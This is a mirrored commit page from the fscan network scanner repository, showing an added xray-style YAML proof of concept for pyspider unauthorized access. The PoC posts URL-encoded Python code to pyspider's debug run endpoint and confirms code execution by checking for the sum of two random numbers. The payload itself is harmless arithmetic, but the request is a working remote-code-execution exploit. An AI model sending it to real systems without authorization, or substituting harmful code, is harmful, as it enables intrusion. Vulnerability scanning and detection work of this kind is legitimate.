archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-26 05:01:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

优化xray解析模块,支持groups、新增poc

Browse Source
This commit is contained in:
影舞者
2021-11-16 14:42:35 +08:00
parent 858c28724b
commit b06d7ac94c
313 changed files with 4314 additions and 760 deletions
Download Patch File Download Diff File Expand all files Collapse all files
WebScan/pocs/pyspider-unauthorized-access.yml
+18
View File
@@ -0,0 +1,18 @@
name: poc-yaml-pyspider-unauthorized-access
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /debug/pyspidervulntest/run
headers:
Content-Type: application/x-www-form-urlencoded
body: >-
webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str({{r1}}+%2B+{{r2}}))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D
follow_redirects: true
expression: >
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: we1x4n(https://we1x4n.github.io/)
links:
- https://github.com/ianxtianxt/Pyspider-webui-poc